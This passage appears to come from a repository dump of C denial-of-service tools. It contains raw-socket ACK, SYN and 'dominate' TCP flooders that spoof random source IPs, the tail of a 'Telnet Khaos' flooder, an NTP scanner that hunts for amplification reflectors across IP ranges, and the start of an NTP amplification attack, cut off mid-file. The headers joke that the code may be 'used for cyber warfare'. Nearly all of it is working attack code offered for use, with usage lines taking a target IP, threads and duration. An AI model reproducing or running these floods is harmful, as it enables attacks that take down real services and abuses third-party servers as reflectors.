129 |                 fprintf(stdout, "Telnet Khaos\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
130 |                 exit(-1);
131 |         }
132 |  
133 |         fprintf(stdout, "Setting up Sockets...\n");
134 |  
135 |         int num_threads = atoi(argv[2]);
136 |         int maxpps = atoi(argv[3]);
137 |         limiter = 0;
138 |         pps = 0;
139 |         pthread_t thread[num_threads];
140 |        
141 |         int multiplier = 20;
142 |  
143 |         int i;
144 |         for(i = 0;i<num_threads;i++){
145 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
146 |         }
147 |         fprintf(stdout, "Starting Flood...\n");
148 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
149 |         {
150 |                 usleep((1000/multiplier)*1000);
151 |                 if((pps*multiplier) > maxpps)
152 |                 {
153 |                         if(1 > limiter)
154 |                         {
155 |                                 sleeptime+=100;
156 |                         } else {
157 |                                 limiter--;
158 |                         }
159 |                 } else {
160 |                         limiter++;
161 |                         if(sleeptime > 25)
162 |                         {
163 |                                 sleeptime-=25;
164 |                         } else {
165 |                                 sleeptime = 0;
166 |                         }
167 |                 }
168 |                 pps = 0;
169 |         }
170 |  
171 |         return 0;
172 | }


--------------------------------------------------------------------------------
/ntp_scanner.c.c:
--------------------------------------------------------------------------------
  1 | /* NTP Scanner */
  2 |  
  3 | #include <pthread.h>
  4 | #include <unistd.h>
  5 | #include <stdio.h>
  6 | #include <stdlib.h>
  7 | #include <string.h>
  8 | #include <sys/socket.h>
  9 | #include <netinet/in.h>
 10 | #include <signal.h>
 11 | #include <sys/time.h>
 12 | #include <sys/types.h>
 13 | #include <math.h>
 14 | #include <ctype.h>
 15 | #include <errno.h>
 16 | #include <arpa/inet.h>
 17 | #include <netinet/ip.h>
 18 | #include <netinet/udp.h>
 19 |  
 20 | volatile int running_threads = 0;
 21 | volatile int found_srvs = 0;
 22 | volatile unsigned long per_thread = 0;
 23 | volatile unsigned long start = 0;
 24 | volatile unsigned long scanned = 0;
 25 | volatile int sleep_between = 0;
 26 | volatile int bytes_sent = 0;
 27 | volatile unsigned long hosts_done = 0;
 28 | FILE *fd;
 29 | char payload[] =
 30 | "\x17\x00\x03\x2A\x00\x00\x00\x00";
 31 |  
 32 | size = sizeof(payload);
 33 |  
 34 | void *flood(void *par1)
 35 | {
 36 |     running_threads++;
 37 |     int thread_id = (int)par1;
 38 |     unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
 39 |     unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
 40 |     unsigned long w;
 41 |     int y;
 42 |     unsigned char buf[65536];
 43 |     memset(buf, 0x01, 8);
 44 |     int sizeofpayload = 8;
 45 |     int sock;
 46 |     if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
 47 |         perror("cant open socket");
 48 |         exit(-1);
 49 |     }
 50 |     for(w=ntohl(start_ip);w<htonl(end);w++)
 51 |     {
 52 |         struct sockaddr_in servaddr;
 53 |         bzero(&servaddr, sizeof(servaddr));
 54 |         servaddr.sin_family = AF_INET;
 55 |         servaddr.sin_addr.s_addr=htonl(w);
 56 |         servaddr.sin_port=htons(123);
 57 |         sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
 58 |         bytes_sent+=size;
 59 |         scanned++;
 60 |         hosts_done++;
 61 |     }
 62 |     close(sock);
 63 |     running_threads--;
 64 |     return;
 65 | }
 66 |  
 67 | void sighandler(int sig)
 68 | {
 69 |     fclose(fd);
 70 |     printf("\n");
 71 |     exit(0);
 72 | }
 73 |  
 74 | void *recievethread()
 75 | {
 76 |     printf("\n");
 77 |     int saddr_size, data_size, sock_raw;
 78 |     struct sockaddr_in saddr;
 79 |     struct in_addr in;
 80 |  
 81 |     unsigned char *buffer = (unsigned char *)malloc(65536);
 82 |     sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
 83 |     if(sock_raw < 0)
 84 |     {
 85 |         printf("Socket Error\n");
 86 |         exit(1);
 87 |     }
 88 |     while(1)
 89 |     {
 90 |         saddr_size = sizeof saddr;
 91 |         data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
 92 |         if(data_size <0 )
 93 |         {
 94 |             printf("Recvfrom error , failed to get packets\n");
 95 |             exit(1);
 96 |         }
 97 |         struct iphdr *iph = (struct iphdr*)buffer;
 98 |         if(iph->protocol == 17)
 99 |         {
100 |             unsigned short iphdrlen = iph->ihl*4;
101 |             struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
102 |             unsigned char* payload = buffer + iphdrlen + 8;
103 |             if(ntohs(udph->source) == 123)
104 |             {
105 |                 int body_length = data_size - iphdrlen - 8;
106 |  
107 |                 if (body_length > 40)
108 |  
109 |                 {
110 |                 found_srvs++;
111 |  
112 |                 fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
113 |                 fflush(fd);
114 |  
115 |                 }
116 |  
117 |             }
118 |         }
119 |  
120 |     }
121 |     close(sock_raw);
122 |  
123 | }
124 |  
125 | int main(int argc, char *argv[ ])
126 | {
127 |  
128 |     if(argc < 6){
129 |                 fprintf(stderr, "Invalid parameters!\n");
130 |         fprintf(stdout, "Shrooms NTP Scanner\nUsage: %s <ip range start (1.0.0.0)> <ip range end (255.255.255.255)> <outfile> <threads> <scan delay in ms>\n", argv[0]);
131 |         exit(-1);
132 |     }
133 |     fd = fopen(argv[3], "a");
134 |     sleep_between = atoi(argv[5]);
135 |  
136 |     signal(SIGINT, &sighandler);
137 |  
138 |     int threads = atoi(argv[4]);
139 |     pthread_t thread;
140 |  
141 |     pthread_t listenthread;
142 |     pthread_create( &listenthread, NULL, &recievethread, NULL);
143 |  
144 |     char *str_start = malloc(18);
145 |     memset(str_start, 0, 18);
146 |     str_start = argv[1];
147 |     char *str_end = malloc(18);
148 |     memset(str_end, 0, 18);
149 |     str_end = argv[2];
150 |     start = inet_addr(str_start);
151 |     per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
152 |     unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
153 |     int i;
154 |     for(i = 0;i<threads;i++){
155 |         pthread_create( &thread, NULL, &flood, (void *) i);
156 |     }
157 |     sleep(1);
158 |     printf("Scan in Progress \n");
159 |     char *temp = (char *)malloc(17);
160 |     memset(temp, 0, 17);
161 |     sprintf(temp, "NTP Found");
162 |     printf("%-16s", temp);
163 |     memset(temp, 0, 17);
164 |     sprintf(temp, "IP/s");
165 |     printf("%-16s", temp);
166 |     memset(temp, 0, 17);
167 |     sprintf(temp, "Bytes/s");
168 |     printf("%-16s", temp);
169 |     memset(temp, 0, 17);
170 |     sprintf(temp, "Threads");
171 |     printf("%-16s", temp);
172 |     memset(temp, 0, 17);
173 |     sprintf(temp, "Percent Done");
174 |     printf("%s", temp);
175 |     printf("\n");
176 |  
177 |     char *new;
178 |     new = (char *)malloc(16*6);
179 |     while (running_threads > 0)
180 |     {
181 |         printf("\r");
182 |         memset(new, '\0', 16*6);
183 |         sprintf(new, "%s|%-15lu", new, found_srvs);
184 |         sprintf(new, "%s|%-15d", new, scanned);
185 |         sprintf(new, "%s|%-15d", new, bytes_sent);
186 |         sprintf(new, "%s|%-15d", new, running_threads);
187 |         memset(temp, 0, 17);
188 |         int percent_done=((double)(hosts_done)/(double)(toscan))*100;
189 |         sprintf(temp, "%d%%", percent_done);
190 |         sprintf(new, "%s|%s", new, temp);
191 |         printf("%s", new);
192 |         fflush(stdout);
193 |         bytes_sent=0;
194 |         scanned = 0;
195 |         sleep(1);
196 |     }
197 |     printf("\n");
198 |     fclose(fd);
199 |     return 0;
200 | }


--------------------------------------------------------------------------------
/ack.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | volatile int limiter;
 24 | volatile unsigned int pps;
 25 | volatile unsigned int sleeptime = 100;
 26 | void init_rand(unsigned long int x)
 27 | {
 28 |         int i;
 29 |         Q[0] = x;
 30 |         Q[1] = x + PHI;
 31 |         Q[2] = x + PHI + PHI;
 32 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 33 | }
 34 | unsigned long int rand_cmwc(void)
 35 | {
 36 |         unsigned long long int t, a = 18782LL;
 37 |         static unsigned long int i = 4095;
 38 |         unsigned long int x, r = 0xfffffffe;
 39 |         i = (i + 1) & 4095;
 40 |         t = a * Q[i] + c;
 41 |         c = (t >> 32);
 42 |         x = t + c;
 43 |         if (x < c) {
 44 |         x++;
 45 |         c++;
 46 |         }
 47 |         return (Q[i] = r - x);
 48 | }
 49 | unsigned short csum (unsigned short *buf, int count)
 50 | {
 51 |         register unsigned long sum = 0;
 52 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 53 |         if(count > 0) { sum += *(unsigned char *)buf; }
 54 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 55 |         return (unsigned short)(~sum);
 56 | }
 57 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 58 |         struct tcp_pseudo
 59 |         {
 60 |         unsigned long src_addr;
 61 |         unsigned long dst_addr;
 62 |         unsigned char zero;
 63 |         unsigned char proto;
 64 |         unsigned short length;
 65 |         } pseudohead;
 66 |         unsigned short total_len = iph->tot_len;
 67 |         pseudohead.src_addr=iph->saddr;
 68 |         pseudohead.dst_addr=iph->daddr;
 69 |         pseudohead.zero=0;
 70 |         pseudohead.proto=IPPROTO_TCP;
 71 |         pseudohead.length=htons(sizeof(struct tcphdr));
 72 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 73 |         unsigned short *tcp = malloc(totaltcp_len);
 74 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 75 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 76 |         unsigned short output = csum(tcp,totaltcp_len);
 77 |         free(tcp);
 78 |         return output;
 79 | }
 80 | void setup_ip_header(struct iphdr *iph)
 81 | {
 82 |         iph->ihl = 5;
 83 |         iph->version = 4;
 84 |         iph->tos = 0;
 85 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 86 |         iph->id = htonl(54321);
 87 |         iph->frag_off = 0;
 88 |         iph->ttl = MAXTTL;
 89 |         iph->protocol = 6;
 90 |         iph->check = 0;
 91 |         iph->saddr = inet_addr("192.168.3.100");
 92 | }
 93 | void setup_tcp_header(struct tcphdr *tcph)
 94 | {
 95 |         tcph->source = htons(5678);
 96 |         tcph->seq = rand();
 97 |         tcph->ack_seq = 1;
 98 |         tcph->res2 = 0;
 99 |         tcph->doff = 5;
100 |         tcph->ack = 1;
101 |         tcph->window = htons(65535);
102 |         tcph->check = 0;
103 |         tcph->urg_ptr = 0;
104 | }
105 | void *flood(void *par1)
106 | {
107 |         char *td = (char *)par1;
108 |         char datagram[MAX_PACKET_SIZE];
109 |         struct iphdr *iph = (struct iphdr *)datagram;
110 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
111 |         struct sockaddr_in sin;
112 |         sin.sin_family = AF_INET;
113 |         sin.sin_port = htons (rand() % 20480);
114 |         sin.sin_addr.s_addr = inet_addr(td);
115 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
116 |         if(s < 0){
117 |         fprintf(stderr, ":: cant open raw socket. got root?\n");
118 |         exit(-1);
119 |         }
120 |         memset(datagram, 0, MAX_PACKET_SIZE);
121 |         setup_ip_header(iph);
122 |         setup_tcp_header(tcph);
123 |         tcph->dest = htons (rand() % 20480);
124 |         iph->daddr = sin.sin_addr.s_addr;
125 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
126 |         int tmp = 1;
127 |         const int *val = &tmp;
128 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
129 |         fprintf(stderr, ":: motherfucking error.\n");
130 |         exit(-1);
131 |         }
132 |         init_rand(time(NULL));
133 |         register unsigned int i;
134 |         i = 0;
135 |         while(1){
136 |         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
137 |         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
138 |         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
139 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
140 |         tcph->seq = rand_cmwc() & 0xFFFF;
141 |         tcph->source = htons(rand_cmwc() & 0xFFFF);
142 |         tcph->check = 0;
143 |         tcph->check = tcpcsum(iph, tcph);
144 |         pps++;
145 |         if(i >= limiter)
146 |         {
147 |         i = 0;
148 |         usleep(sleeptime);
149 |         }
150 |         i++;
151 |         }
152 | }
153 | int main(int argc, char *argv[ ])
154 | {
155 |         if(argc < 5){
156 |         fprintf(stderr, "Invalid parameters!\n");
157 |         fprintf(stdout, "Usage: %s <IP> <threads> <throttle, -1 for no throttle> <time>\n", argv[0]);
158 |         exit(-1);
159 |         }
160 |         int num_threads = atoi(argv[2]);
161 |         int maxpps = atoi(argv[3]);
162 |         limiter = 0;
163 |         pps = 0;
164 |         pthread_t thread[num_threads];
165 |         int multiplier = 20;
166 |         int i;
167 |         for(i = 0;i<num_threads;i++){
168 |         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
169 |         }
170 |         fprintf(stdout, ":: sending all the packets..\n");
171 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
172 |         {
173 |         usleep((1000/multiplier)*1000);
174 |         if((pps*multiplier) > maxpps)
175 |         {
176 |         if(1 > limiter)
177 |         {
178 |         sleeptime+=100;
179 |         } else {
180 |         limiter--;
181 |         }
182 |         } else {
183 |         limiter++;
184 |         if(sleeptime > 25)
185 |         {
186 |         sleeptime-=25;
187 |         } else {
188 |         sleeptime = 0;
189 |         }
190 |         }
191 |         pps = 0;
192 |         }
193 |         return 0;
194 | }


--------------------------------------------------------------------------------
/syn.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | volatile int limiter;
 24 | volatile unsigned int pps;
 25 | volatile unsigned int sleeptime = 100;
 26 | void init_rand(unsigned long int x)
 27 | {
 28 |         int i;
 29 |         Q[0] = x;
 30 |         Q[1] = x + PHI;
 31 |         Q[2] = x + PHI + PHI;
 32 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 33 | }
 34 | unsigned long int rand_cmwc(void)
 35 | {
 36 |         unsigned long long int t, a = 18782LL;
 37 |         static unsigned long int i = 4095;
 38 |         unsigned long int x, r = 0xfffffffe;
 39 |         i = (i + 1) & 4095;
 40 |         t = a * Q[i] + c;
 41 |         c = (t >> 32);
 42 |         x = t + c;
 43 |         if (x < c) {
 44 |         x++;
 45 |         c++;
 46 |         }
 47 |         return (Q[i] = r - x);
 48 | }
 49 | unsigned short csum (unsigned short *buf, int count)
 50 | {
 51 |         register unsigned long sum = 0;
 52 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 53 |         if(count > 0) { sum += *(unsigned char *)buf; }
 54 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 55 |         return (unsigned short)(~sum);
 56 | }
 57 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 58 |         struct tcp_pseudo
 59 |         {
 60 |         unsigned long src_addr;
 61 |         unsigned long dst_addr;
 62 |         unsigned char zero;
 63 |         unsigned char proto;
 64 |         unsigned short length;
 65 |         } pseudohead;
 66 |         unsigned short total_len = iph->tot_len;
 67 |         pseudohead.src_addr=iph->saddr;
 68 |         pseudohead.dst_addr=iph->daddr;
 69 |         pseudohead.zero=0;
 70 |         pseudohead.proto=IPPROTO_TCP;
 71 |         pseudohead.length=htons(sizeof(struct tcphdr));
 72 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 73 |         unsigned short *tcp = malloc(totaltcp_len);
 74 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 75 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 76 |         unsigned short output = csum(tcp,totaltcp_len);
 77 |         free(tcp);
 78 |         return output;
 79 | }
 80 | void setup_ip_header(struct iphdr *iph)
 81 | {
 82 |         iph->ihl = 5;
 83 |         iph->version = 4;
 84 |         iph->tos = 0;
 85 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 86 |         iph->id = htonl(54321);
 87 |         iph->frag_off = 0;
 88 |         iph->ttl = MAXTTL;
 89 |         iph->protocol = 6;
 90 |         iph->check = 0;
 91 |         iph->saddr = inet_addr("192.168.3.100");
 92 | }
 93 | void setup_tcp_header(struct tcphdr *tcph)
 94 | {
 95 |         tcph->source = htons(5678);
 96 |         tcph->seq = rand();
 97 |         tcph->ack_seq = 1;
 98 |         tcph->res2 = 0;
 99 |         tcph->doff = 5;
100 |         tcph->syn = 1;
101 |         tcph->window = htons(65535);
102 |         tcph->check = 0;
103 |         tcph->urg_ptr = 0;
104 | }
105 | void *flood(void *par1)
106 | {
107 |         char *td = (char *)par1;
108 |         char datagram[MAX_PACKET_SIZE];
109 |         struct iphdr *iph = (struct iphdr *)datagram;
110 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
111 |         struct sockaddr_in sin;
112 |         sin.sin_family = AF_INET;
113 |         sin.sin_port = htons (rand() % 20480);
114 |         sin.sin_addr.s_addr = inet_addr(td);
115 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
116 |         if(s < 0){
117 |         fprintf(stderr, ":: cant open raw socket. got root?\n");
118 |         exit(-1);
119 |         }
120 |         memset(datagram, 0, MAX_PACKET_SIZE);
121 |         setup_ip_header(iph);
122 |         setup_tcp_header(tcph);
123 |         tcph->dest = htons (rand() % 20480);
124 |         iph->daddr = sin.sin_addr.s_addr;
125 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
126 |         int tmp = 1;
127 |         const int *val = &tmp;
128 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
129 |         fprintf(stderr, ":: motherfucking error.\n");
130 |         exit(-1);
131 |         }
132 |         init_rand(time(NULL));
133 |         register unsigned int i;
134 |         i = 0;
135 |         while(1){
136 |         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
137 |         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
138 |         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
139 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
140 |         tcph->seq = rand_cmwc() & 0xFFFF;
141 |         tcph->source = htons(rand_cmwc() & 0xFFFF);
142 |         tcph->check = 0;
143 |         tcph->check = tcpcsum(iph, tcph);
144 |         pps++;
145 |         if(i >= limiter)
146 |         {
147 |         i = 0;
148 |         usleep(sleeptime);
149 |         }
150 |         i++;
151 |         }
152 | }
153 | int main(int argc, char *argv[ ])
154 | {
155 |         if(argc < 5){
156 |                 fprintf(stderr, "Invalid parameters!\n");
157 |                 fprintf(stdout, "Usage: %s <IP> <threads <throttle, -1 for no throttle> <time>\n", argv[0]);
158 |                 exit(-1);
159 |         }
160 |         int num_threads = atoi(argv[2]);
161 |         int maxpps = atoi(argv[3]);
162 |         limiter = 0;
163 |         pps = 0;
164 |         pthread_t thread[num_threads];
165 |         int multiplier = 20;
166 |         int i;
167 |         for(i = 0;i<num_threads;i++){
168 |         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
169 |         }
170 |         fprintf(stdout, ":: sending all the packets..\n");
171 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
172 |         {
173 |         usleep((1000/multiplier)*1000);
174 |         if((pps*multiplier) > maxpps)
175 |         {
176 |         if(1 > limiter)
177 |         {
178 |         sleeptime+=100;
179 |         } else {
180 |         limiter--;
181 |         }
182 |         } else {
183 |         limiter++;
184 |         if(sleeptime > 25)
185 |         {
186 |         sleeptime-=25;
187 |         } else {
188 |         sleeptime = 0;
189 |         }
190 |         }
191 |         pps = 0;
192 |         }
193 |         return 0;
194 | }


--------------------------------------------------------------------------------
/dominate.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | static unsigned int floodport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | void init_rand(unsigned long int x)
 28 | {
 29 |         int i;
 30 |         Q[0] = x;
 31 |         Q[1] = x + PHI;
 32 |         Q[2] = x + PHI + PHI;
 33 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 34 | }
 35 | unsigned long int rand_cmwc(void)
 36 | {
 37 |         unsigned long long int t, a = 18782LL;
 38 |         static unsigned long int i = 4095;
 39 |         unsigned long int x, r = 0xfffffffe;
 40 |         i = (i + 1) & 4095;
 41 |         t = a * Q[i] + c;
 42 |         c = (t >> 32);
 43 |         x = t + c;
 44 |         if (x < c) {
 45 |         x++;
 46 |         c++;
 47 |         }
 48 |         return (Q[i] = r - x);
 49 | }
 50 | unsigned short csum (unsigned short *buf, int count)
 51 | {
 52 |         register unsigned long sum = 0;
 53 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 54 |         if(count > 0) { sum += *(unsigned char *)buf; }
 55 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 56 |         return (unsigned short)(~sum);
 57 | }
 58 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 59 |  
 60 |         struct tcp_pseudo
 61 |         {
 62 |         unsigned long src_addr;
 63 |         unsigned long dst_addr;
 64 |         unsigned char zero;
 65 |         unsigned char proto;
 66 |         unsigned short length;
 67 |         } pseudohead;
 68 |         unsigned short total_len = iph->tot_len;
 69 |         pseudohead.src_addr=iph->saddr;
 70 |         pseudohead.dst_addr=iph->daddr;
 71 |         pseudohead.zero=0;
 72 |         pseudohead.proto=IPPROTO_TCP;
 73 |         pseudohead.length=htons(sizeof(struct tcphdr));
 74 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 75 |         unsigned short *tcp = malloc(totaltcp_len);
 76 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 77 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 78 |         unsigned short output = csum(tcp,totaltcp_len);
 79 |         free(tcp);
 80 |         return output;
 81 | }
 82 | void setup_ip_header(struct iphdr *iph)
 83 | {
 84 |         iph->ihl = 5;
 85 |         iph->version = 4;
 86 |         iph->tos = 0;
 87 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 88 |         iph->id = htonl(54321);
 89 |         iph->frag_off = 0;
 90 |         iph->ttl = MAXTTL;
 91 |         iph->protocol = 6;
 92 |         iph->check = 0;
 93 |         iph->saddr = inet_addr("192.168.3.100");
 94 | }
 95 | void setup_tcp_header(struct tcphdr *tcph)
 96 | {
 97 |         tcph->source = htons(5678);
 98 |         tcph->seq = rand();
 99 |         tcph->ack_seq = 1;
100 |         tcph->res2 = 3;
101 |         tcph->doff = 5;
102 |         tcph->syn = 1;
103 |         tcph->window = htons(65535);
104 |         tcph->check = 1;
105 |         tcph->urg_ptr = 1;
106 | }
107 | void *flood(void *par1)
108 | {
109 |         char *td = (char *)par1;
110 |         char datagram[MAX_PACKET_SIZE];
111 |         struct iphdr *iph = (struct iphdr *)datagram;
112 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
113 |         struct sockaddr_in sin;
114 |         sin.sin_family = AF_INET;
115 |         sin.sin_port = htons (rand() % 2048);
116 |         sin.sin_addr.s_addr = inet_addr(td);
117 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
118 |         if(s < 0){
119 |         fprintf(stderr, "derped.\n");
120 |         exit(-1);
121 |         }
122 |         memset(datagram, 0, MAX_PACKET_SIZE);
123 |         setup_ip_header(iph);
124 |         setup_tcp_header(tcph);
125 |         tcph->dest = htons (rand() % 2048);
126 |         iph->daddr = sin.sin_addr.s_addr;
127 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
128 |         int tmp = 1;
129 |         const int *val = &tmp;
130 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
131 |         fprintf(stderr, "Unable to allocate.\n");
132 |         exit(-1);
133 |         }
134 |         init_rand(time(NULL));
135 |         register unsigned int i;
136 |         i = 0;
137 |         while(1){
138 |         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
139 |         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
140 |         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
141 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
142 |         tcph->seq = rand_cmwc() & 0xFFFF;
143 |         tcph->source = htons(rand_cmwc() & 0xFFFF);
144 |         tcph->check = 0;
145 |         tcph->check = tcpcsum(iph, tcph);
146 |         pps++;
147 |         if(i >= limiter)
148 |         {
149 |         i = 0;
150 |         usleep(sleeptime);
151 |         }
152 |         i++;
153 |         }
154 | }
155 | int main(int argc, char *argv[ ])
156 | {
157 |         if(argc < 5){
158 |         fprintf(stderr, "Invalid parameters!\n");
159 |         fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
160 |         exit(-1);
161 |         }
162 |         fprintf(stdout, "Setting up Sockets...\n");
163 |         int num_threads = atoi(argv[2]);
164 |         int maxpps = atoi(argv[3]);
165 |         limiter = 0;
166 |         pps = 0;
167 |         pthread_t thread[num_threads];
168 |         int multiplier = 20;
169 |         int i;
170 |         for(i = 0;i<num_threads;i++){
171 |         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
172 |         }
173 |         fprintf(stdout, "Starting Flood...\n");
174 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
175 |         {
176 |         usleep((1000/multiplier)*1000);
177 |         if((pps*multiplier) > maxpps)
178 |         {
179 |         if(1 > limiter)
180 |         {
181 |         sleeptime+=100;
182 |         } else {
183 |         limiter--;
184 |         }
185 |         } else {
186 |         limiter++;
187 |         if(sleeptime > 25)
188 |         {
189 |         sleeptime-=25;
190 |         } else {
191 |         sleeptime = 0;
192 |         }
193 |         }
194 |         pps = 0;
195 |         }
196 |         return 0;
197 | }


--------------------------------------------------------------------------------
/ntp.c.c:
--------------------------------------------------------------------------------
  1 | #include <time.h>
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/ip.h>
  9 | #include <netinet/udp.h>
 10 | #include <arpa/inet.h>
 11 | #define MAX_PACKET_SIZE 8192
 12 | #define PHI 0x9e3779b9
 13 | static unsigned int payloadsize = 8;
 14 | static unsigned int xport = 123;
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 |         struct sockaddr_in data;
